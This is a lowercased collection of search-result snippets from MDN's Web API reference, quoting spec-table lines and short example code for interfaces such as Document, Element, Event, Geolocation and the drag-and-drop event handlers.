... full complete matches var allorangejuicequery = document.queryselectorall('.orange.juice'); result += "\n\ndocument.queryselectorall('.orange.juice')"; for (var i=0, len=allorangejuicequery.length|0; i<len; i=i+1|0) { result += "\n " + allorangejuicequery[i].textcontent; } document.getelementbyid("resultarea").value = result; result specifications specification status comment domthe definition of 'document.getelementsbyclassname' in that specification.
Document.getElementsByTagNameNS() - Web APIs
(to accommodate explorer, one could call an xpath wrapper instead of the xpath in the function below (as explorer supports xpath with a different api), such as this wrapper class.) function getelementsbytagnamenswrapper (ns, elname, doc, context) { if (!doc) { doc = document; } if (!context) { context = doc; } var result = doc.evaluate('//*[local-name()="'+elname+'" and namespace-uri() = "'+ns+'"...
...]', context, null, xpathresult.ordered_node_snapshot_type, null); var a = []; for(var i = 0; i < result.snapshotlength; i++) { a[i] = result.snapshotitem(i); } return a; } specifications specification status comment domthe definition of 'document.getelementsbytagnamens' in that specification.
Document.hidden - Web APIs
WebAPIDocumenthidden
}); specifications specification status comment page visibility (second edition)the definition of 'document.hidden' in that specification.
... recommendation initial definition ...
Document.implementation - Web APIs
notes the w3c's dom level 1 recommendation only specified the hasfeature method, which is one way to determine if a dom module is supported by a browser (see example above and what does your user agent claim to support?).
... specifications specification status comment domthe definition of 'document.implementation' in that specification.
Document.location - Web APIs
WebAPIDocumentlocation
syntax locationobj = document.location document.location = 'http://www.mozilla.org' // equivalent to document.location.href = 'http://www.mozilla.org' examples console.log(document.location); // prints a location object to the console specifications specification status comment html living standardthe definition of 'document.location' in that specification.
... recommendation initial definition.
Document.onfullscreenchange - Web APIs
the document interface's onfullscreenchange property is an event handler for the fullscreenchange event that is fired immediately before a document transitions into or out of full-screen mode.
... example document.onfullscreenchange = function ( event ) { console.log("full screen change") }; document.documentelement.onclick = function () { // requestfullscreen() must be in an event handler or it will fail document.documentelement.requestfullscreen(); } specifications specification status comment fullscreen apithe definition of 'onfullscreenchange' in that specification.
Document.onvisibilitychange - Web APIs
example document.onvisibilitychange = function() { console.log("visibility of page has changed!"); }; specifications specification status comment page visibility (second edition)the definition of 'onvisibilitychange' in that specification.
... recommendation initial definition.
Document.visibilityState - Web APIs
}); specifications specification status comment page visibility (second edition)the definition of 'document.visibilitystate' in that specification.
... recommendation initial definition.
Document: visibilitychange event - Web APIs
document.addeventlistener("visibilitychange", function() { if (document.visibilitystate === 'visible') { backgroundmusic.play(); } else { backgroundmusic.pause(); } }); specifications specification status comment page visibility (second edition)the definition of 'visibilitychange' in that specification.
... recommendation browser compatibility no compatibility data found.
DocumentFragment.querySelector() - Web APIs
syntax element = documentfragment.queryselector(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas.
...ouble back slash: <div id="foo\bar"></div> <div id="foo:bar"></div> <script> document.queryselector('#foo\bar') // does not match anything document.queryselector('#foo\\\\bar') // match the first div document.queryselector('#foo:bar') // does not match anything document.queryselector('#foo\\:bar') // match the second div </script> specifications specification status comment selectors api level 2the definition of 'documentfragment.queryselector' in that specification.
DocumentFragment.querySelectorAll() - Web APIs
syntax elementlist = documentfragment.queryselectorall(selectors); parameters selectors is a domstring containing one or more css selectors separated by commas.
... examples this example returns a list of all div elements within the documentfragment with a class of either "note" or "alert": var matches = documentfrag.queryselectorall("div.note, div.alert"); specifications specification status comment selectors api level 1the definition of 'documentfragment.queryselectorall' in that specification.
DocumentFragment - Web APIs
usage notes a common use for documentfragment is to create one, assemble a dom subtree within it, then append or insert the fragment into the dom using node interface methods such as appendchild() or insertbefore().
...le html <ul id="list"></ul> javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment = new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment domthe definition of 'documentfragment' in that specification.
DocumentOrShadowRoot.pointerLockElement - Web APIs
specifications specification status comment pointer lockthe definition of 'pointerlockelement' in that specification.
... candidate recommendation extend the document interface ...
DoubleRange - Web APIs
specifications specification status comment media capture and streamsthe definition of 'doublerange' in that specification.
... candidate recommendation initial definition ...
DragEvent() - Web APIs
specifications specification status comment html living standardthe definition of 'dragevent' in that specification.
... recommendation initial definition ...
DragEvent.dataTransfer - Web APIs
} dragtarget.addeventlistener("dragend", function(ev) { // call the drag and drop data processor if (ev.datatransfer !== null) processdata(ev.datatransfer); }, false); specifications specification status comment html living standardthe definition of 'dragevent.datatransfer' in that specification.
... recommendation initial definition ...
EXT_blend_minmax - Web APIs
examples var ext = gl.getextension('ext_blend_minmax'); gl.blendequation(ext.min_ext); gl.blendequation(ext.max_ext); gl.blendequationseparate(ext.min_ext, ext.max_ext); specifications specification status comment ext_blend_minmaxthe definition of 'ext_blend_minmax' in that specification.
... recommendation initial definition.
EXT_color_buffer_float - Web APIs
var ext = gl.getextension('ext_color_buffer_float'); gl.renderbufferstorage(gl.renderbuffer, gl.rgba16f, 256, 256); specifications specification status comment ext_color_buffer_floatthe definition of 'ext_color_buffer_float' in that specification.
... recommendation initial definition for webgl.
EXT_color_buffer_half_float - Web APIs
examples var ext = gl.getextension('ext_color_buffer_half_float'); gl.renderbufferstorage(gl.renderbuffer, ext.rbga16f_ext, 256, 256); specifications specification status comment ext_color_buffer_half_floatthe definition of 'ext_color_buffer_half_float' in that specification.
... recommendation initial definition.
EXT_disjoint_timer_query.createQueryEXT() - Web APIs
the ext_disjoint_timer_query.createqueryext() method of the webgl api creates and initializes webglquery objects, which track the time needed to fully complete a set of gl commands.
... examples var ext = gl.getextension('ext_disjoint_timer_query'); var query = ext.createqueryext(); specifications specification status comment ext_disjoint_timer_querythe definition of 'ext_disjoint_timer_query' in that specification.
EXT_frag_depth - Web APIs
examples enable the extension: gl.getextension('ext_frag_depth'); now the output variable gl_fragdepthext is available to set a depth value of a fragment from within the fragment shader: <script type="x-shader/x-fragment"> void main() { gl_fragcolor = vec4(1.0, 0.0, 1.0, 1.0); gl_fragdepthext = 0.5; } </script> specifications specification status comment ext_frag_depththe definition of 'ext_frag_depth' in that specification.
... recommendation initial definition.
EXT_sRGB - Web APIs
WebAPIEXT sRGB
examples var ext = gl.getextension('ext_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, 0, ext.srgb_ext, 512, 512, 0, ext.srgb_ext, gl.unsigned_byte, image); specifications specification status comment ext_srgbthe definition of 'ext_srgb' in that specification.
... recommendation initial definition.
EXT_shader_texture_lod - Web APIs
type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment ext_shader_texture_lodthe definition of 'ext_shader_texture_lod' in that specification.
... recommendation initial definition.
EXT_texture_filter_anisotropic - Web APIs
xture); var ext = ( gl.getextension('ext_texture_filter_anisotropic') || gl.getextension('moz_ext_texture_filter_anisotropic') || gl.getextension('webkit_ext_texture_filter_anisotropic') ); if (ext){ var max = gl.getparameter(ext.max_texture_max_anisotropy_ext); gl.texparameterf(gl.texture_2d, ext.texture_max_anisotropy_ext, max); } specifications specification status comment ext_texture_filter_anisotropicthe definition of 'ext_texture_filter_anisotropic' in that specification.
... recommendation initial definition.
EcKeyGenParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeygenparams' in that specification.
... recommendation ...
EcKeyImportParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.eckeyimportparams' in that specification.
... recommendation ...
EcdhKeyDeriveParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdhkeyderiveparams' in that specification.
... recommendation ...
EcdsaParams - Web APIs
specifications specification status comment web cryptography apithe definition of 'subtlecrypto.ecdsaparams' in that specification.
... recommendation ...
EffectTiming.delay - Web APIs
examples in the pool of tears example, each tear is passed a random delay via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier(0...
....6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'delay' in that specification.
EffectTiming.duration - Web APIs
examples in the pool of tears example, each tear is passed a random duration via its timing object: // randomizer function var getrandommsrange = function(min, max) { return math.random() * (max - min) + min; } // loop through each tear tears.foreach(function(el) { // animate each tear el.animate( tearsfalling, { delay: getrandommsrange(-1000, 1000), // randomized for each tear duration: getrandommsrange(2000, 6000), // randomized for each tear iterations: infinity, easing: "cubic-bezier...
...(0.6, 0.04, 0.98, 0.335)" }); }); specifications specification status comment web animationsthe definition of 'duration' in that specification.
Element.animate() - Web APIs
WebAPIElementanimate
examples in the demo down the rabbit hole (with the web animation api), we use the convenient animate() method to immediately create and play an animation on the #tunnel element to make it flow upwards, infinitely.
... specifications specification status comment web animations level 2the definition of 'keyframeanimationoptions.iterationcomposite' in that specification.
Element.clientLeft - Web APIs
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
... padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom) view modulethe definition of 'clientleft' in that specification.
Element.getAttributeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element.getattributens()' in that specification.
Element.getAttributeNodeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'getattributenodens()' in that specification.
Element.hasAttribute() - Web APIs
ment.getelementbyid("foo"); if (foo.hasattribute("bar")) { // do something } polyfill ;(function(prototype) { prototype.hasattribute = prototype.hasattribute || function(name) { return !!(this.attributes[name] && this.attributes[name].specified); } })(element.prototype); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element.hasattribute()' in that specification.
Element.hasAttributeNS() - Web APIs
example // check that the attribute exists before you set a value var d = document.getelementbyid("div1"); if (d.hasattributens( "http://www.mozilla.org/ns/specialspace/", "special-align")) { d.setattribute("align", "center"); } notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.hasattributens' in that specification.
Element.hasPointerCapture() - Web APIs
} } function init() { const el = document.getelementbyid("target"); el.onpointerdown = downhandler; } </script> <body onload="init();"> <div id="target">touch this element with a pointer.</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'haspointercapture()' in that specification.
... recommendation ...
Element.id - Web APIs
WebAPIElementid
another common case is to use an element's id as a selector when styling the document with css.
... specifications specification status comment domthe definition of 'id' in that specification.
Element.insertAdjacentHTML() - Web APIs
it is not recommended you use insertadjacenthtml() when inserting plain text; instead, use the node.textcontent property or the element.insertadjacenttext() method.
... specification specification status comment dom parsing and serializationthe definition of 'element.insertadjacenthtml()' in that specification.
Element.localName - Web APIs
WebAPIElementlocalName
for example, in the qualified name ecomm:partners, partners is the local name and ecomm is the prefix: <ecomm:business id="soda_shop" type="brick_n_mortar" xmlns:ecomm="http://example.com/ecomm"> <ecomm:partners> <ecomm:partner id="1001">tony's syrup warehouse </ecomm:partner> </ecomm:partner> </ecomm:business> note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html eleme...
... specifications specification status comment domthe definition of 'element.localname' in that specification.
Element.releasePointerCapture() - Web APIs
pture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status comment pointer events – level 2the definition of 'releasepointercapture' in that specification.
... recommendation non-stable version.
Element.removeAttribute() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - example // given: <div id="div1" align="left" width="200px"> document.getelementbyid("div1").removeattribute("align"); // now: <div id="div1" width="200px"> specifications specification status comment domthe definition of 'element" removeattribute' in that specification.
Element.removeAttributeNS() - Web APIs
example // given: // <div id="div1" xmlns:special="http://www.mozilla.org/ns/specialspace" // special:specialalign="utterleft" width="200px" /> d = document.getelementbyid("div1"); d.removeattributens("http://www.mozilla.org/ns/specialspace", "specialalign"); // now: <div id="div1" width="200px" /> notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'element: removeattributens' in that specification.
Element.requestPointerLock() - Web APIs
syntax instanceofelement.requestpointerlock(); specifications specification status comment pointer lockthe definition of 'requestpointerlock()' in that specification.
... candidate recommendation ...
Element.scrollHeight - Web APIs
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...= document.createelement("span"); document.registration.accept.checked = false; checkreading.noticebox.id = "notice"; otoberead.parentnode.insertbefore(checkreading.noticebox, otoberead); otoberead.parentnode.insertbefore(document.createelement("br"), otoberead); otoberead.onscroll = checkreading; checkreading.call(otoberead); } specifications specification status comment css object model (cssom) view modulethe definition of 'element.scrollheight' in that specification.
Element.scrollTop - Web APIs
WebAPIElementscrollTop
ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
...if you can see this, scrolltop is maxed-out padding-bottom left top right bottom margin-top margin-bottom border-top border-bottom specifications specification status comment css object model (cssom) view modulethe definition of 'scrolltop' in that specification.
Element.setAttributeNS() - Web APIs
example let d = document.getelementbyid('d1'); d.setattributens('http://www.mozilla.org/ns/specialspace', 'spec:align', 'center'); notes dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
... specifications specification status comment domthe definition of 'document.setattributens' in that specification.
Element.setAttributeNode() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'setattributenode()' in that specification.
Element.setAttributeNodeNS() - Web APIs
dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...ns - - removeattribute (dom 1) removeattributens removeattributenode - specifications specification status comment domthe definition of 'document.setattributenodens' in that specification.
Element.setPointerCapture() - Web APIs
pture(e.pointerid); } function stopsliding(e) { slider.onpointermove = null; slider.releasepointercapture(e.pointerid); } function slide(e) { slider.style.transform = `translate(${e.clientx - 70}px)`; } const slider = document.getelementbyid('slider'); slider.onpointerdown = beginsliding; slider.onpointerup = stopsliding; result specifications specification status comment pointer events – level 2the definition of 'setpointercapture' in that specification.
... recommendation non-stable version.
Element.toggleAttribute() - Web APIs
html <input value="text"> <button>toggleattribute("readonly")</button> javascript var button = document.queryselector("button"); var input = document.queryselector("input"); button.addeventlistener("click", function(){ input.toggleattribute("readonly"); }); result dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom level 2) dom level 1 methods for dealing with attr nodes directly (seldom used) dom level 2 namespace-aware methods for dealing with attr nodes directly (seldom used) setattribute (dom 1) setattributens setattributenode setattributenodens getattribute (dom 1) getattributens getattributenode getattributenodens hasattribute (dom 2) hasattribute...
...oggleattribute) { element.prototype.toggleattribute = function(name, force) { if(force !== void 0) force = !!force if (this.hasattribute(name)) { if (force) return true; this.removeattribute(name); return false; } if (force === false) return false; this.setattribute(name, ""); return true; }; } specification specification status comment domthe definition of 'element.toggleattribute' in that specification.
ElementCSSInlineStyle - Web APIs
the elementcssinlinestyle mixin describes cssom-specific features common to the htmlelement, svgelement and mathmlelement interfaces.
... specifications specification status comment css object model (cssom)the definition of 'htmlorforeignelement' in that specification.
ErrorEvent - Web APIs
specifications specification status comment html living standardthe definition of 'errorevent' in that specification.
... recommendation initial definition.
Event.explicitOriginalTarget - Web APIs
example this property can be used with <command> to get the event details of the original object calling the command.
... function mycommand(ev) { alert(ev.explicitoriginaltarget.nodename); // returns 'menuitem' } <xul:command id="my-cmd-anaction" oncommand="mycommand(event);"/> <xul:menulist> <xul:menupopup> <xul:menuitem label="get my element name!" command="my-cmd-anaction"/> </xul:menupopup> </menulist> specifications this is a mozilla-specific property.
Event.preventDefault() - Web APIs
the event continues to propagate as usual, unless one of its event listeners calls stoppropagation() or stopimmediatepropagation(), either of which terminates propagation at once.
... specifications specification status comment domthe definition of 'event.preventdefault()' in that specification.
Event.returnValue - Web APIs
WebAPIEventreturnValue
usage notes returnvalue was introduced into the dom by internet explorer 6, and due to that browser's ubiquity became so commonly used that other browsers eventually implemented it as well.
... specifications specification status comment domthe definition of 'returnvalue' in that specification.
Event.type - Web APIs
WebAPIEventtype
it is set when the event is constructed and is the name commonly used to refer to the specific event, such as click, load, or error.
...ess', geteventtype, false); // second document.addeventlistener('keyup', geteventtype, false); // third // mouse events document.addeventlistener('mousedown', geteventtype, false); // first document.addeventlistener('mouseup', geteventtype, false); // second document.addeventlistener('click', geteventtype, false); // third result specifications specification status comment domthe definition of 'event.type' in that specification.
EventTarget - Web APIs
element, document, and window are the most common event targets, but other objects can be event targets, too.
... stack.splice(i, 1); return; } } }; eventtarget.prototype.dispatchevent = function(event) { if (!(event.type in this.listeners)) { return true; } var stack = this.listeners[event.type].slice(); for (var i = 0, l = stack.length; i < l; i++) { stack[i].call(this, event); } return !event.defaultprevented; }; specifications specification status comment domthe definition of 'eventtarget' in that specification.
FetchEvent.replacesClientId - Web APIs
this could be used to access/communicate with a client that will imminently be replaced, right before a navigation.
... example self.addeventlistener('fetch', function(event) { console.log(event.replacesclientid); }); specifications specification status comment service workersthe definition of 'replacesclientid' in that specification.
FileReader.readAsBinaryString() - Web APIs
using filereader.readasarraybuffer() is recommended.
...ght = height; var ctx = canvas.getcontext('2d'); ctx.strokestyle = '#090'; ctx.beginpath(); ctx.arc(width/2, height/2, width/2 - width/10, 0, math.pi*2); ctx.stroke(); canvas.toblob(function (blob) { var reader = new filereader(); reader.onload = function () { console.log(reader.result); } reader.readasbinarystring(blob); }); specifications specification status comment file apithe definition of 'readasbinarystring' in that specification.
FileRequest.lockedFile - Web APIs
summary the lockedfile property represents the lockedfile object from which the request was started.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileRequest - Web APIs
summary the filerequest interface extends the domrequest interface to provide some extra properties necessary for the lockedfile objects.
... specifications specification status comment filesystem api editor's draft draft proposal.
FileSystemDirectoryEntry.removeRecursively() - Web APIs
ox for androidopera for androidsafari on iossamsung internetremoverecursively deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the removerecursively() method existed, it immediately called the error callback with ns_error_dom_security_err.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportnon-standard.
FileSystemFileEntry.createWriter() - Web APIs
droidfirefox for androidopera for androidsafari on iossamsung internetcreatewriter deprecatednon-standardchrome full support 8edge full support 79firefox no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.ie no support noopera no support nosafari no support nowebview android full support ≤37chrome android full support ...
... 18firefox android no support 50 — 52notes no support 50 — 52notes notes while the createwriter() method existed, it immediately called errorcallback with the ns_error_dom_security_err error.opera android no support nosafari ios no support nosamsung internet android full support yeslegend full support full support no support no supportnon-standard.
FocusEvent.relatedTarget - Web APIs
focus the eventtarget receiving focus the eventtarget losing focus (if any) focusin the eventtarget receiving focus the eventtarget losing focus (if any) focusout the eventtarget losing focus the eventtarget receiving focus (if any) note that many elements can't have focus, which is a common reason for relatedtarget to be null.
... syntax secondtarget = focusevent.relatedtarget specifications specification status comment ui eventsthe definition of 'focusevent.relatedtarget' in that specification.
GamepadHapticActuator - Web APIs
the gamepadhapticactuator interface of the gamepad api represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
... specifications specification status comment gamepad extensionsthe definition of 'gamepadhapticactuator' in that specification.
Gamepad API - Web APIs
experimental gamepad extensions gamepadhapticactuator represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware.
... tutorials and guides using the gamepad api implementing controls using the gamepad api specifications specification status comment gamepad extensions editor's draft defines the experimental gamepad extensions.
Geolocation.watchPosition() - Web APIs
ached the target'); navigator.geolocation.clearwatch(id); } } function error(err) { console.warn('error(' + err.code + '): ' + err.message); } target = { latitude : 0, longitude: 0 }; options = { enablehighaccuracy: false, timeout: 5000, maximumage: 0 }; id = navigator.geolocation.watchposition(success, error, options); specifications specification status comment geolocation apithe definition of 'watchposition()' in that specification.
... recommendation initial specification.
Geolocation - Web APIs
the geolocation interface represents an object able to programmatically obtain the position of the device.
... specifications specification status comment geolocation api recommendation initial specification.
GeolocationCoordinates.accuracy - Web APIs
specifications specification status comment geolocation apithe definition of 'coordinates.accuracy' in that specification.
... recommendation initial definition ...
GeolocationCoordinates.altitude - Web APIs
specifications specification status comment geolocation apithe definition of 'coordinates.altitude' in that specification.
... recommendation initial definition ...
GeolocationCoordinates.altitudeAccuracy - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.altitudeaccuracy' in that specification.
... recommendation initial specification.
GeolocationCoordinates.heading - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.heading' in that specification.
... recommendation initial specification.
GeolocationCoordinates.latitude - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.latitude' in that specification.
... recommendation initial specification.
GeolocationCoordinates.longitude - Web APIs
</p> <button id="get-location"> get my location </button> result take this example for a test drive here: specifications specification status comment geolocation apithe definition of 'coordinates.longitude' in that specification.
... recommendation initial specification.
GeolocationCoordinates.speed - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates.speed' in that specification.
... recommendation initial specification.
GeolocationCoordinates - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationcoordinates' in that specification.
... recommendation initial specification.
GeolocationPosition.coords - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition.coords' in that specification.
... recommendation initial specification.
GeolocationPosition.timestamp - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition.timestamp' in that specification.
... recommendation initial definition ...
GeolocationPosition - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationposition' in that specification.
... recommendation initial specification.
GeolocationPositionError.code - Web APIs
specifications specification status comment geolocation apithe definition of 'positionerror.code' in that specification.
... recommendation initial definition ...
GeolocationPositionError.message - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationpositionerror.message' in that specification.
... recommendation initial definition ...
GeolocationPositionError - Web APIs
specifications specification status comment geolocation apithe definition of 'geolocationpositionerror' in that specification.
... recommendation initial specification.
GlobalEventHandlers.onchange - Web APIs
change events fire when the user commits a value change to a form control.
...e something here, then click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specification status comment html living standardthe definition of 'onchange' in that specification.
GlobalEventHandlers.ondrag - Web APIs
--> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrag' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragend - Web APIs
code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragend' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragenter - Web APIs
code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragenter' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragexit - Web APIs
ode>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragexit' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragleave - Web APIs
ode>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragleave' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragover - Web APIs
div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragover' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondragstart - Web APIs
div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragstart' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ondrop - Web APIs
ce"> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrop' in that specification.
... recommendation initial definition ...
GlobalEventHandlers.ongotpointercapture - Web APIs
example function overhandler(event) { // determine the target event's gotpointercapture handler let gotcapturehandler = event.target.ongotpointercapture; } function init() { let el = document.getelementbyid('target'); el.ongotpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'ongotpointercapture' in that specification.
... recommendation ...
GlobalEventHandlers.onlostpointercapture - Web APIs
example function overhandler(event) { // determine the target event's lostpointercapture handler let lostcapturehandler = event.target.onlostpointercapture; } function init() { let el = document.getelementbyid('target'); el.onlostpointercapture = overhandler; } specifications specification status comment pointer events – level 2the definition of 'onlostpointercapture' in that specification.
... recommendation ...
GlobalEventHandlers.onpointercancel - Web APIs
</div> </body> </html> specifications specification status comment pointer events – level 2the definition of 'onpointercancel' in that specification.
